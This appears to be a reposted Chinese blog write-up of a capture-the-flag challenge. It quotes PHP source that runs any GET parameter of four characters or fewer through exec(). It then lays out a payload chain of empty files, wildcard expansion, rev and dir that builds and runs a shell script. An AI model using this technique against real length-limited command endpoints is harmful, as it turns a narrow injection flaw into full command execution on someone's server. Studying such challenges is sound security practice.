4位可控字符下的任意命令执行

*因为环境有点问题无法复现,无法整体复现

*但是这个trick非常有意思,想分享下

 

 

题目源码:

 

<?php
    error_reporting(E_ALL);
    $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

预备知识:

①输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
*           (等同于命令:id root)

②增加字母来限定被用来当作命令和参数的文件名

>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

③联合知识点②,通过rev来倒置输出内容

>rev
echo 1234 > v
*v    (等同于命令:rev v)

④通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置

我们之后需要用到rev 倒置输出

所以需要列出这样形式的文件名

0>  t-  sl

>0\>
>t-
>sl

但是实际出现的效果是这样的

所以要增加-h来把-t往前拉

>0\>
>ht-
>sl

⑤用dir来代替ls不换行输出

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行

看下dir的效果,会不换行输出到文件中去

最后的payload

>dir
>f\>
>ht-
>sl
*>v        (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0        (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0        (sh执行0里面的内容)

可以看到命令被成功执行生成了f文件

发布了156 篇原创文章 · 获赞 396 · 访问量 66万+

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/102873203
今日推荐